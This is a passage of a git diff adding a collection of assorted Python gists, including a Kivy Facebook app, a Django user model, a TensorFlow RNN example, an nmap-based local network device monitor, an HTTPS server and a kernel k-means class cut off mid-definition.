+    BoxLayout:
+        orientation: 'vertical'
+        TextInput:
+            id: ti
+            text: 'Hello from Kivy + Facebook Android SDK'
+        Button:
+            text: 'Post to Facebook'
+            on_release: app.fb_post(ti.text)
+            size_hint_y: None
+            height: '48dp'
+    '''
+
+    FACEBOOK_APP_ID = 'XXX REPLACE WITH YOUR APP ID XXX'
+
+    class FacebookApp(App):
+
+        post_status = StringProperty('-')
+        user_infos = StringProperty('-')
+
+        def build(self):
+            self.facebook = Facebook(FACEBOOK_APP_ID,
+                permissions_write=['publish_actions'])
+            return Builder.load_string(kv)
+
+        def fb_me(self):
+            def callback(user, *args):
+                infos = []
+                infos.append('Name: {}'.format(user.getName()))
+                infos.append('FirstName: {}'.format(user.getFirstName()))
+                infos.append('MiddleName: {}'.format(user.getMiddleName()))
+                infos.append('LastName: {}'.format(user.getLastName()))
+                infos.append('Link: {}'.format(user.getLink()))
+                infos.append('Username: {}'.format(user.getUsername()))
+                infos.append('Birthday: {}'.format(user.getBirthday()))
+                location = user.getLocation()
+                if location:
+                    infos.append('Country: {}'.format(location.getCountry()))
+                    infos.append('City: {}'.format(location.getCity()))
+                    infos.append('State: {}'.format(location.getState()))
+                    infos.append('Zip: {}'.format(location.getZip()))
+                    infos.append('Latitude: {}'.format(location.getLatitude()))
+                    infos.append('Longitude: {}'.format(location.getLongitude()))
+                else:
+                    infos.append('No location available')
+
+                self.user_infos = '\n'.join(infos)
+
+            self.facebook.me(callback)
+
+        def fb_post(self, text):
+            def callback(*args):
+                from time import time
+                self.post_status = 'message posted at {}'.format(time())
+            self.facebook.post(text, callback=callback)
+
+        def on_pause(self):
+            return True
+
+    FacebookApp().run()
diff --git a/hard-gists/6179550/._snippet.py b/hard-gists/6179550/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6179550/._snippet.py differ
diff --git a/hard-gists/6179550/snippet.py b/hard-gists/6179550/snippet.py
new file mode 100644
index 00000000..206d5eb9
--- /dev/null
+++ b/hard-gists/6179550/snippet.py
@@ -0,0 +1,16 @@
+import httplib2
+from apiclient.discovery import build
+from oauth2client.client import AccessTokenCredentials
+
+def connect_helper(user):
+    c = user.social_auth.get(provider='google-oauth2')
+    access_token = c.tokens['access_token']
+ 
+    credentials = AccessTokenCredentials(access_token, 'my-user-agent/1.0')
+    http = httplib2.Http()
+    http = credentials.authorize(http)
+    service = build(serviceName='calendar', version='v3', http=http,
+           developerKey='...')
+    
+    return service
+    
\ No newline at end of file
diff --git a/hard-gists/6194556/._snippet.py b/hard-gists/6194556/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6194556/._snippet.py differ
diff --git a/hard-gists/6194556/snippet.py b/hard-gists/6194556/snippet.py
new file mode 100644
index 00000000..b70124de
--- /dev/null
+++ b/hard-gists/6194556/snippet.py
@@ -0,0 +1,38 @@
+'''
+SimpleHTTPServerSSL.py - simple HTTP server supporting SSL/TLS. I.e. HTTPS. For python 3.3
+
+- replace CERT and KEY with the location of your .pem server file.
+- the default port is 443.
+
+usage: python SimpleHTTPServerSSL.py
+
+based on http://code.activestate.com/recipes/442473-simple-http-server-supporting-ssl-secure-communica/
+'''
+import socket, os
+from socketserver import BaseServer
+from http.server import HTTPServer
+from http.server import SimpleHTTPRequestHandler
+import ssl
+
+CERT = 'ssl.crt.pem'
+KEY = 'ssl.key.pem'
+
+class SecureHTTPServer(HTTPServer):
+    def __init__(self, server_address, HandlerClass):
+        BaseServer.__init__(self, server_address, HandlerClass)
+        ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
+        ctx.load_cert_chain(certfile=CERT, keyfile=KEY)
+        self.socket = ctx.wrap_socket(socket.socket(self.address_family, self.socket_type), server_side=True)
+        self.server_bind()
+        self.server_activate()
+
+def test(HandlerClass = SimpleHTTPRequestHandler,
+         ServerClass = SecureHTTPServer):
+    server_address = ('', 443) # (address, port)
+    httpd = ServerClass(server_address, HandlerClass)
+    sa = httpd.socket.getsockname()
+    print("Serving HTTPS on", sa[0], "port", sa[1], "...")
+    httpd.serve_forever()
+
+if __name__ == '__main__':
+    test()
\ No newline at end of file
diff --git a/hard-gists/619473/._snippet.py b/hard-gists/619473/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/619473/._snippet.py differ
diff --git a/hard-gists/619473/snippet.py b/hard-gists/619473/snippet.py
new file mode 100644
index 00000000..67e851fd
--- /dev/null
+++ b/hard-gists/619473/snippet.py
@@ -0,0 +1,69 @@
+"""
+Helper module for displaying ROOT canvases in ipython notebooks
+
+Usage example:
+    # Save this file as rootnotes.py to your working directory.
+    
+    import rootnotes
+    c1 = rootnotes.default_canvas()
+    fun1 = TF1( 'fun1', 'abs(sin(x)/x)', 0, 10)
+    c1.SetGridx()
+    c1.SetGridy()
+    fun1.Draw()
+    c1
+
+More examples: http://mazurov.github.io/webfest2013/
+
+@author alexander.mazurov@cern.ch
+@author andrey.ustyuzhanin@cern.ch
+@date 2013-08-09
+"""
+
+import ROOT
+ROOT.gROOT.SetBatch()
+
+import tempfile
+from IPython.core import display
+
+
+def canvas(name="icanvas", size=(800, 600)):
+    """Helper method for creating canvas"""
+
+    # Check if icanvas already exists
+    canvas = ROOT.gROOT.FindObject(name)
+    assert len(size) == 2
+    if canvas:
+        return canvas
+    else:
+        return ROOT.TCanvas(name, name, size[0], size[1])
+
+
+def default_canvas(name="icanvas", size=(800, 600)):
+    """ depricated """
+    return canvas(name=name, size=size)
+
+
+def _display_canvas(canvas):
+    file = tempfile.NamedTemporaryFile(suffix=".png")
+    canvas.SaveAs(file.name)
+    ip_img = display.Image(filename=file.name, format='png', embed=True)
+    return ip_img._repr_png_()
+
+
+def _display_any(obj):
+    file = tempfile.NamedTemporaryFile(suffix=".png")
+    obj.Draw()
+    ROOT.gPad.SaveAs(file.name)
+    ip_img = display.Image(filename=file.name, format='png', embed=True)
+    return ip_img._repr_png_()
+
+# register display function with PNG formatter:
+png_formatter = get_ipython().display_formatter.formatters['image/png']  # noqa
+
+# Register ROOT types in ipython
+#
+#   In  [1]: canvas = rootnotes.canvas()
+#   In  [2]: canvas
+#   Out [2]: [image will be here]
+png_formatter.for_type(ROOT.TCanvas, _display_canvas)
+png_formatter.for_type(ROOT.TF1, _display_any)
diff --git a/hard-gists/6194738/._snippet.py b/hard-gists/6194738/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6194738/._snippet.py differ
diff --git a/hard-gists/6194738/snippet.py b/hard-gists/6194738/snippet.py
new file mode 100644
index 00000000..67e851fd
--- /dev/null
+++ b/hard-gists/6194738/snippet.py
@@ -0,0 +1,69 @@
+"""
+Helper module for displaying ROOT canvases in ipython notebooks
+
+Usage example:
+    # Save this file as rootnotes.py to your working directory.
+    
+    import rootnotes
+    c1 = rootnotes.default_canvas()
+    fun1 = TF1( 'fun1', 'abs(sin(x)/x)', 0, 10)
+    c1.SetGridx()
+    c1.SetGridy()
+    fun1.Draw()
+    c1
+
+More examples: http://mazurov.github.io/webfest2013/
+
+@author alexander.mazurov@cern.ch
+@author andrey.ustyuzhanin@cern.ch
+@date 2013-08-09
+"""
+
+import ROOT
+ROOT.gROOT.SetBatch()
+
+import tempfile
+from IPython.core import display
+
+
+def canvas(name="icanvas", size=(800, 600)):
+    """Helper method for creating canvas"""
+
+    # Check if icanvas already exists
+    canvas = ROOT.gROOT.FindObject(name)
+    assert len(size) == 2
+    if canvas:
+        return canvas
+    else:
+        return ROOT.TCanvas(name, name, size[0], size[1])
+
+
+def default_canvas(name="icanvas", size=(800, 600)):
+    """ depricated """
+    return canvas(name=name, size=size)
+
+
+def _display_canvas(canvas):
+    file = tempfile.NamedTemporaryFile(suffix=".png")
+    canvas.SaveAs(file.name)
+    ip_img = display.Image(filename=file.name, format='png', embed=True)
+    return ip_img._repr_png_()
+
+
+def _display_any(obj):
+    file = tempfile.NamedTemporaryFile(suffix=".png")
+    obj.Draw()
+    ROOT.gPad.SaveAs(file.name)
+    ip_img = display.Image(filename=file.name, format='png', embed=True)
+    return ip_img._repr_png_()
+
+# register display function with PNG formatter:
+png_formatter = get_ipython().display_formatter.formatters['image/png']  # noqa
+
+# Register ROOT types in ipython
+#
+#   In  [1]: canvas = rootnotes.canvas()
+#   In  [2]: canvas
+#   Out [2]: [image will be here]
+png_formatter.for_type(ROOT.TCanvas, _display_canvas)
+png_formatter.for_type(ROOT.TF1, _display_any)
diff --git a/hard-gists/61a82e7c920468325ea8/._snippet.py b/hard-gists/61a82e7c920468325ea8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/61a82e7c920468325ea8/._snippet.py differ
diff --git a/hard-gists/61a82e7c920468325ea8/snippet.py b/hard-gists/61a82e7c920468325ea8/snippet.py
new file mode 100644
index 00000000..637a6fa8
--- /dev/null
+++ b/hard-gists/61a82e7c920468325ea8/snippet.py
@@ -0,0 +1,35 @@
+from sklearn.externals import joblib
+import time
+import numpy
+import pickle
+
+bigarray = numpy.zeros([190,91,190])
+bigarray = bigarray.flatten()
+
+
+### Saving
+start = time.time()
+joblib.dump(bigarray,"bigarray1.pkl")
+end = time.time() - start
+end
+# 0.31264686584472656
+
+start = time.time()
+pickle.dump(bigarray,open("bigarray2.pkl","wb"))
+end = time.time()-start
+end
+# 4.827500104904175
+
+### Loading
+start = time.time()
+joblib.load("bigarray1.pkl")
+end = time.time() - start
+end
+# 0.47748589515686035
+
+
+start = time.time()
+pickle.load(open("bigarray2.pkl","rb"))
+end = time.time()-start
+end
+# 0.7575929164886475
\ No newline at end of file
diff --git a/hard-gists/61dc4abed6186117f2a70b058a2b8d14/._snippet.py b/hard-gists/61dc4abed6186117f2a70b058a2b8d14/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/61dc4abed6186117f2a70b058a2b8d14/._snippet.py differ
diff --git a/hard-gists/61dc4abed6186117f2a70b058a2b8d14/snippet.py b/hard-gists/61dc4abed6186117f2a70b058a2b8d14/snippet.py
new file mode 100644
index 00000000..bf33941e
--- /dev/null
+++ b/hard-gists/61dc4abed6186117f2a70b058a2b8d14/snippet.py
@@ -0,0 +1,63 @@
+from django.db import models
+from django.contrib.auth.models import AbstractBaseUser
+from django.contrib.auth.models import BaseUserManager
+from django.contrib.auth.models import PermissionsMixin
+
+'''
+In this example, create usermodel who use email and password for login.
+Don't forget to add in settings.py:
+
+AUTH_USER_MODEL='your_app.UserModel' 
+
+'''
+
+class UserModelManager(BaseUserManager):
+	def create_user(self, email, password, pseudo):
+		user = self.model()
+		user.pseudo = pseudo
+		user.email = self.normalize_email(email=email)
+		user.set_password(password)
+		user.save()
+		
+		return user
+
+	def create_superuser(self, email, password):
+		'''
+		Used for: python manage.py createsuperuser
+		'''
+		user=self.model()
+		user.pseudo = 'admin-yeah'
+		user.email = self.normalize_email(email=email)
+		user.set_password(password)
+		
+		user.is_staff = True
+		user.is_superuser = True
+		user.save()
+		
+		return user
+
+
+class UserModel(AbstractBaseUser, PermissionsMixin):
+	## Personnal fields.
+	email = models.EmailField(max_length=254, unique=True)
+	pseudo = models.CharField(max_length=16)
+	## [...]
+	
+	## Django manage fields.
+	date_joined = models.DateTimeField(auto_now_add=True)
+	is_active = models.BooleanField(default=True)
+	is_staff = models.BooleanField(default=False)
+	
+	USERNAME_FIELD = 'email'
+	REQUIRED_FIELD = ['email', 'pseudo']
+	
+	objects = UserModelManager() 
+
+	def __str__(self):
+		return self.email
+		
+	def get_short_name(self):
+		return self.pseudo[:2].upper()
+	
+	def get_full_name(self):
+		return self.pseudo
\ No newline at end of file
diff --git a/hard-gists/61f9226f7ea498abce36187ddaf51ed5/._snippet.py b/hard-gists/61f9226f7ea498abce36187ddaf51ed5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/61f9226f7ea498abce36187ddaf51ed5/._snippet.py differ
diff --git a/hard-gists/61f9226f7ea498abce36187ddaf51ed5/snippet.py b/hard-gists/61f9226f7ea498abce36187ddaf51ed5/snippet.py
new file mode 100644
index 00000000..1d573bf8
--- /dev/null
+++ b/hard-gists/61f9226f7ea498abce36187ddaf51ed5/snippet.py
@@ -0,0 +1,102 @@
+# Example for my blog post at:
+# http://danijar.com/introduction-to-recurrent-networks-in-tensorflow/
+import functools
+import sets
+import tensorflow as tf
+
+
+def lazy_property(function):
+    attribute = '_' + function.__name__
+
+    @property
+    @functools.wraps(function)
+    def wrapper(self):
+        if not hasattr(self, attribute):
+            setattr(self, attribute, function(self))
+        return getattr(self, attribute)
+    return wrapper
+
+
+class SequenceLabelling:
+
+    def __init__(self, data, target, dropout, num_hidden=200, num_layers=3):
+        self.data = data
+        self.target = target
+        self.dropout = dropout
+        self._num_hidden = num_hidden
+        self._num_layers = num_layers
+        self.prediction
+        self.error
+        self.optimize
+
+    @lazy_property
+    def prediction(self):
+        # Recurrent network.
+        network = tf.nn.rnn_cell.GRUCell(self._num_hidden)
+        network = tf.nn.rnn_cell.DropoutWrapper(
+            network, output_keep_prob=self.dropout)
+        network = tf.nn.rnn_cell.MultiRNNCell([network] * self._num_layers)
+        output, _ = tf.nn.dynamic_rnn(network, data, dtype=tf.float32)
+        # Softmax layer.
+        max_length = int(self.target.get_shape()[1])
+        num_classes = int(self.target.get_shape()[2])
+        weight, bias = self._weight_and_bias(self._num_hidden, num_classes)
+        # Flatten to apply same weights to all time steps.
+        output = tf.reshape(output, [-1, self._num_hidden])
+        prediction = tf.nn.softmax(tf.matmul(output, weight) + bias)
+        prediction = tf.reshape(prediction, [-1, max_length, num_classes])
+        return prediction
+
+    @lazy_property
+    def cost(self):
+        cross_entropy = -tf.reduce_sum(
+            self.target * tf.log(self.prediction), [1, 2])
+        cross_entropy = tf.reduce_mean(cross_entropy)
+        return cross_entropy
+
+    @lazy_property
+    def optimize(self):
+        learning_rate = 0.003
+        optimizer = tf.train.RMSPropOptimizer(learning_rate)
+        return optimizer.minimize(self.cost)
+
+    @lazy_property
+    def error(self):
+        mistakes = tf.not_equal(
+            tf.argmax(self.target, 2), tf.argmax(self.prediction, 2))
+        return tf.reduce_mean(tf.cast(mistakes, tf.float32))
+
+    @staticmethod
+    def _weight_and_bias(in_size, out_size):
+        weight = tf.truncated_normal([in_size, out_size], stddev=0.01)
+        bias = tf.constant(0.1, shape=[out_size])
+        return tf.Variable(weight), tf.Variable(bias)
+
+
+def read_dataset():
+    dataset = sets.Ocr()
+    dataset = sets.OneHot(dataset.target, depth=2)(dataset, columns=['target'])
+    dataset['data'] = dataset.data.reshape(
+        dataset.data.shape[:-2] + (-1,)).astype(float)
+    train, test = sets.Split(0.66)(dataset)
+    return train, test
+
+
+if __name__ == '__main__':
+    train, test = read_dataset()
+    _, length, image_size = train.data.shape
+    num_classes = train.target.shape[2]
+    data = tf.placeholder(tf.float32, [None, length, image_size])
+    target = tf.placeholder(tf.float32, [None, length, num_classes])
+    dropout = tf.placeholder(tf.float32)
+    model = SequenceLabelling(data, target, dropout)
+    sess = tf.Session()
+    sess.run(tf.initialize_all_variables())
+    for epoch in range(10):
+        for _ in range(100):
+            batch = train.sample(10)
+            sess.run(model.optimize, {
+                data: batch.data, target: batch.target, dropout: 0.5})
+        error = sess.run(model.error, {
+            data: test.data, target: test.target, dropout: 1})
+        print('Epoch {:2d} error {:3.1f}%'.format(epoch + 1, 100 * error))
\ No newline at end of file
diff --git a/hard-gists/6201049/._snippet.py b/hard-gists/6201049/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6201049/._snippet.py differ
diff --git a/hard-gists/6201049/snippet.py b/hard-gists/6201049/snippet.py
new file mode 100644
index 00000000..4655f1ee
--- /dev/null
+++ b/hard-gists/6201049/snippet.py
@@ -0,0 +1,229 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+# prerequisites :
+# 	sudo apt-get install nmap
+#
+#  nmap.py
+#  Network Radar
+#  
+#  
+#  This program is free software; you can redistribute it and/or modify
+#  it under the terms of the GNU General Public License as published by
+#  the Free Software Foundation; either version 2 of the License, or
+#  (at your option) any later version.
+#  
+#  This program is distributed in the hope that it will be useful,
+#  but WITHOUT ANY WARRANTY; without even the implied warranty of
+#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#  GNU General Public License for more details.
+#  
+#  You should have received a copy of the GNU General Public License
+#  along with this program; if not, write to the Free Software
+#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+#  MA 02110-1301, USA.
+#  
+#  
+# Author: Emad Elsaid a.k.a Blaze Boy
+# Email: blazeebot[at]gmail[dot]com
+# URL: [www|facebook|youtube|twitter|linkedin|github].blazeboy.me
+
+import os, gtk, gobject, time, appindicator, subprocess, time, pynotify, threading
+gobject.threads_init()
+
+bits_raw = """32 255.255.255.255
+31 255.255.255.254
+30 255.255.255.252
+29 255.255.255.248
+28 255.255.255.240
+27 255.255.255.224
+26 255.255.255.192
+25 255.255.255.128
+24 255.255.255.0
+23 255.255.254.0
+22 255.255.252.0
+21 255.255.248.0
+20 255.255.240.0
+19 255.255.224.0
+18 255.255.192.0
+17 255.255.128.0
+16 255.255.0.0
+15 255.254.0.0
+14 255.252.0.0
+13 255.248.0.0
+12 255.240.0.0
+11 255.224.0.0
+10 255.192.0.0
+9 255.128.0.0
+8 255.0.0.0
+7 254.0.0.0
+6 252.0.0.0
+5 248.0.0.0
+4 240.0.0.0
+3 224.0.0.0
+2 192.0.0.0
+1 128.0.0.0
+0 0.0.0.0"""
+bits = {}
+for bit in bits_raw.split("\n"):
+	v,k = bit.split(" ")
+	bits[k] = v
+		
+show_notifications = True
+def switch_show_notifications(checkmenuitem):
+	global show_notifications
+	show_notifications = checkmenuitem.get_active()
+	
+hosts_notifier_ar = []
+def hosts_notifier(hosts):
+	global hosts_notifier_ar
+	new_hosts = []
+	disconnected_hosts = []
+	for host in hosts:
+		if not host in hosts_notifier_ar:
+			new_hosts.append(host)
+			
+	hosts_notifier_ar += new_hosts
+	
+	for host in hosts_notifier_ar:
+		if not host in hosts:
+			disconnected_hosts.append(host)
+	
+	for host in disconnected_hosts:		
+		hosts_notifier_ar.remove(host)
+	
+	if show_notifications:
+		notification_message = ""
+		if len(new_hosts)==1:
+			notification_message += "One new device joined network ("+new_hosts[0]+")\n"
+		elif len(new_hosts)>1:
+			notification_message += str(len(new_hosts))+" New devices joined network\n"
+			
+		if len(disconnected_hosts)==1:
+			notification_message += "One device disconnected from network ("+disconnected_hosts[0]+")\n"
+		elif len(disconnected_hosts)>1:
+			notification_message += str(len(disconnected_hosts))+" Devices disconnected from network\n"
+		
+		if notification_message!="":
+			n = pynotify.Notification("Nadar", notification_message.strip())
+			helper = gtk.Button()
+			icon = helper.render_icon(gtk.STOCK_NETWORK, gtk.ICON_SIZE_DIALOG)
+			n.set_icon_from_pixbuf(icon)
+			n.show()
+			
+
+def get_interfaces():
+	# ifconfig -s
+	ifconfig = subprocess.check_output(['ifconfig','-s'])
+	devices = []
+	for line in ifconfig.split("\n")[1:-1]:
+		device = line.split(" ")[0]
+		if device!="lo": # add al interfaces except loopback
+			devices.append(device)
+	return devices
+	
+def get_ip_mask(device):
+	# ifconfig eth0
+	ifconfig = subprocess.check_output(['ifconfig', device])
+	for line in ifconfig.split("\n"):
+		current_line = line.strip()
+		if current_line.startswith('inet addr'):
+			components = [x for x in current_line.strip().split('  ') if len(x)>0]
+			ip_address = components[0].split(':')[1]
+			subnet_mask = components[2].split(':')[1]
+			if bits.has_key(subnet_mask):
+				return (ip_address,bits[subnet_mask])
+	return False
+
+def get_default_gateways():
+	#  nm-tool | grep Gateway | awk '{print $2}'
+	#  man, i love that line :D it feels like magic
+	return [ x.strip().split(" ")[-1] for x in subprocess.check_output('nm-tool').split("\n") if x.find("Gateway")>-1 ]
+
+def get_hosts(device):
+	# nmap -sn ip/bits
+	try:
+		ip_mask = get_ip_mask(device)
+		arp_scan = subprocess.check_output(['nmap', '-sn', ip_mask[0]+'/'+ip_mask[1]])
+		gateways = get_default_gateways()
+		hosts = []
+		for line in arp_scan.split("\n"):
+			# filter lines to the ip lines only
+			if line.startswith('Nmap scan report for '):
+				host = line[line.rfind(' ')+1:]
+				# don't add current machine ip address and don't add gateways
+				if host!=ip_mask[0] and not host in gateways:
+					hosts.append(host)
+		return hosts
+	except Exception as e:
+		return []
+
+def control_menu_items(menu_obj):
+	separator = gtk.SeparatorMenuItem()
+	menu_obj.append(separator)
+	separator.show()
+	
+	show_notifications_menuitem = gtk.CheckMenuItem("Show notifications")
+	show_notifications_menuitem.set_active(show_notifications)
+	show_notifications_menuitem.connect('toggled', switch_show_notifications)
+	menu_obj.append(show_notifications_menuitem)
+	show_notifications_menuitem.show()
+	
+	quit_item = gtk.MenuItem("Exit")
+	quit_item.connect('activate', gtk.main_quit)
+	menu_obj.append(quit_item)
+	quit_item.show()
+
+
+class Refresh_menu(threading.Thread):
+	def __init__(self, devices, menu):
+		super(Refresh_menu, self).__init__()
+		self.quit = False
+		self.hosts = []
+		self.devices = devices
+		self.menu = menu
+
+	def update_menu(self):
+		for i in self.menu.get_children():
+			self.menu.remove(i)
+			
+		for host in self.hosts:
+			menu_item = gtk.MenuItem(host)
+			self.menu.append(menu_item)
+			menu_item.show()
+			
+		control_menu_items(self.menu)
+		
+		hosts_notifier(self.hosts)
+		return False
+
+	def run(self):
+		while not self.quit:
+			self.refresh_hosts()
+			gobject.idle_add(self.update_menu)
+			time.sleep(5)
+		 
+			
+	def refresh_hosts(self):
+		self.hosts = []
+		for device in self.devices:
+			if not self.quit:
+				self.hosts += get_hosts(device)
+			
+		return False
+
+devices = get_interfaces()
+menu = gtk.Menu()
+control_menu_items(menu)
+
+ind = appindicator.Indicator ("nadar",
+						  "preferences-system-network",
+						  appindicator.CATEGORY_APPLICATION_STATUS)
+ind.set_status (appindicator.STATUS_ACTIVE)
+ind.set_menu(menu)
+
+pynotify.init("Nadar")
+
+t = Refresh_menu(devices, menu)
+t.start()
+gtk.main()
+os._exit(0)
diff --git a/hard-gists/6202539/._snippet.py b/hard-gists/6202539/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6202539/._snippet.py differ
diff --git a/hard-gists/6202539/snippet.py b/hard-gists/6202539/snippet.py
new file mode 100644
index 00000000..e55356d9
--- /dev/null
+++ b/hard-gists/6202539/snippet.py
@@ -0,0 +1,25 @@
+#!/usr/bin/env monkeyrunner                                                         
+                                                                                    
+import time                                                                         
+                                                                                    
+from com.android.monkeyrunner import MonkeyRunner, MonkeyDevice                     
+                                                                                    
+device = MonkeyRunner.waitForConnection()                                           
+     
+# Touch down screen                                                                               
+device.touch(100, 500, MonkeyDevice.DOWN)                                           
+
+# Move from 100, 500 to 300, 500
+for i in range(1, 11):                                                              
+    device.touch(100 + 20 * i, 500, MonkeyDevice.MOVE)                              
+    print "move ", 100 + 20 * i, 500                                                
+    time.sleep(0.1)             
+
+# Move from (300, 500 to 200, 500)                                                    
+for i in range(1, 11):                                                              
+    device.touch(300, 500 - 10 * i, MonkeyDevice.MOVE)                              
+    print "move ", 300, 500 - 10 * i                                                
+    time.sleep(0.1)                                                                 
+
+# Remove finger from screen
+device.touch(300, 400, MonkeyDevice.UP) 
\ No newline at end of file
diff --git a/hard-gists/6206626/._snippet.py b/hard-gists/6206626/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6206626/._snippet.py differ
diff --git a/hard-gists/6206626/snippet.py b/hard-gists/6206626/snippet.py
new file mode 100644
index 00000000..bc7511cc
--- /dev/null
+++ b/hard-gists/6206626/snippet.py
@@ -0,0 +1,90 @@
+from SimpleCV import Camera, VideoStream, Color, Display, Image, VirtualCamera
+import cv2
+import numpy as np
+import time
+
+# build the mapping
+def buildMap(Ws,Hs,Wd,Hd,R1,R2,Cx,Cy):
+    map_x = np.zeros((Hd,Wd),np.float32)
+    map_y = np.zeros((Hd,Wd),np.float32)
+    for y in range(0,int(Hd-1)):
+        for x in range(0,int(Wd-1)):
+            r = (float(y)/float(Hd))*(R2-R1)+R1
+            theta = (float(x)/float(Wd))*2.0*np.pi
+            xS = Cx+r*np.sin(theta)
+            yS = Cy+r*np.cos(theta)
+            map_x.itemset((y,x),int(xS))
+            map_y.itemset((y,x),int(yS))
+        
+    return map_x, map_y
+# do the unwarping 
+def unwarp(img,xmap,ymap):
+    output = cv2.remap(img.getNumpyCv2(),xmap,ymap,cv2.INTER_LINEAR)
+    result = Image(output,cv2image=True)
+    return result
+
+
+disp = Display((800,600))
+vals = []
+last = (0,0)
+# Load the video from the rpi
+vc = VirtualCamera("video.h264","video")
+# Sometimes there is crud at the begining, buffer it out
+for i in range(0,10):
+    img = vc.getImage()
+    img.save(disp)
+# Show the user a frame let them left click the center
+# of the "donut" and the right inner and outer edge
+# in that order. Press esc to exit the display
+while not disp.isDone():
+    test = disp.leftButtonDownPosition()
+    if( test != last and test is not None):
+        last = test
+        vals.append(test)
+
+# 0 = xc yc
+# 1 = r1
+# 2 = r2
+# center of the "donut"    
+Cx = vals[0][0]
+Cy = vals[0][1]
+# Inner donut radius
+R1x = vals[1][0]
+R1y = vals[1][1]
+R1 = R1x-Cx
+# outer donut radius
+R2x = vals[2][0]
+R2y = vals[2][1]
+R2 = R2x-Cx
+# our input and output image siZes
+Wd = 2.0*((R2+R1)/2)*np.pi
+Hd = (R2-R1)
+Ws = img.width
+Hs = img.height
+# build the pixel map, this could be sped up
+print "BUILDING MAP!"
+xmap,ymap = buildMap(Ws,Hs,Wd,Hd,R1,R2,Cx,Cy)
+print "MAP DONE!"
+# do an unwarping and show it to us
+result = unwarp(img,xmap,ymap)
+result.save(disp)
+
+# SimpleCV/OpenCV video out was giving problems
+# decided to output frames and convert using
+# avconv / ffmpeg. 
+
+# I used these params for converting the raw frames to video
+# avconv -f image2 -r 30 -v:b 1024K -i samples/lapinsnipermin/%03d.jpeg output.mpeg
+i = 0
+while img is not None:
+    result = unwarp(img,xmap,ymap)
+    # Once we get an image overlay it on the source
+    derp = img.blit(result,(0,img.height-result.height))
+    derp = derp.applyLayers()
+    derp.save(disp)
+    fname = "FRAME{num:05d}.png".format(num=i)
+    derp.save(fname)
+    #vs.writeFrame(derp)
+    # get the next frame
+    img = vc.getImage()
+    i = i + 1
diff --git a/hard-gists/6229929/._snippet.py b/hard-gists/6229929/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6229929/._snippet.py differ
diff --git a/hard-gists/6229929/snippet.py b/hard-gists/6229929/snippet.py
new file mode 100644
index 00000000..ae48530c
--- /dev/null
+++ b/hard-gists/6229929/snippet.py
@@ -0,0 +1,40 @@
+#!/usr/bin/env python
+
+from datetime import datetime
+
+import os
+import sys
+from dateutil.relativedelta import relativedelta
+import sh
+
+def checkout_repo_at(path, dt):
+    sha = sh.git('rev-list', '-n', '1', '--before="{0}"'.format(dt.isoformat()), 'origin/main', _cwd=path)
+    sha = sha.strip()
+    sh.git.reset('--hard', sha, _cwd=path)
+    return sha
+
+
+def date_range(start, stop, step):
+    accumulator = start
+    while accumulator < stop:
+        yield accumulator
+        accumulator += step
+
+
+def main():
+    start_date = datetime(2012, 1, 1)
+    end_date = datetime.today()
+    interval = relativedelta(months=1)
+    # interval = relativedelta(days=1)
+
+
+    repo_path = os.getcwd()
+
+    for date in date_range(start=start_date, stop=end_date, step=interval):
+        checkout_repo_at(repo_path, dt=date)
+        print "> sonar-runner " + '-Dsonar.projectDate={0}'.format(date.date().isoformat())
+        sh.sonar_runner('-Dsonar.projectDate={0}'.format(date.date().isoformat()))
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/6230787/._snippet.py b/hard-gists/6230787/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6230787/._snippet.py differ
diff --git a/hard-gists/6230787/snippet.py b/hard-gists/6230787/snippet.py
new file mode 100644
index 00000000..1b5df2f9
--- /dev/null
+++ b/hard-gists/6230787/snippet.py
@@ -0,0 +1,123 @@
+"""Kernel K-means"""
+
+# Author: Mathieu Blondel <mathieu@mblondel.org>
+# License: BSD 3 clause
+
+import numpy as np
+
+from sklearn.base import BaseEstimator, ClusterMixin
+from sklearn.metrics.pairwise import pairwise_kernels
+from sklearn.utils import check_random_state
+
+
+class KernelKMeans(BaseEstimator, ClusterMixin):
+    """
+    Kernel K-means
+    
+    Reference
+    ---------
+    Kernel k-means, Spectral Clustering and Normalized Cuts.
+    Inderjit S. Dhillon, Yuqiang Guan, Brian Kulis.
+    KDD 2004.
+    """
+
+    def __init__(self, n_clusters=3, max_iter=50, tol=1e-3, random_state=None,
+                 kernel="linear", gamma=None, degree=3, coef0=1,
+                 kernel_params=None, verbose=0):
+        self.n_clusters = n_clusters
+        self.max_iter = max_iter
+        self.tol = tol
+        self.random_state = random_state
+        self.kernel = kernel
+        self.gamma = gamma
+        self.degree = degree
+        self.coef0 = coef0
+        self.kernel_params = kernel_params
+        self.verbose = verbose
+        
+    @property
+    def _pairwise(self):
+        return self.kernel == "precomputed"
+
+    def _get_kernel(self, X, Y=None):
+        if callable(self.kernel):
+            params = self.kernel_params or {}
+        else:
+            params = {"gamma": self.gamma,
+                      "degree": self.degree,
+                      "coef0": self.coef0}
+        return pairwise_kernels(X, Y, metric=self.kernel,
+                                filter_params=True, **params)
+
+    def fit(self, X, y=None, sample_weight=None):
+        n_samples = X.shape[0]
+
+        K = self._get_kernel(X)
+
+        sw = sample_weight if sample_weight else np.ones(n_samples)
+        self.sample_weight_ = sw
+
+        rs = check_random_state(self.random_state)
+        self.labels_ = rs.randint(self.n_clusters, size=n_samples)
+
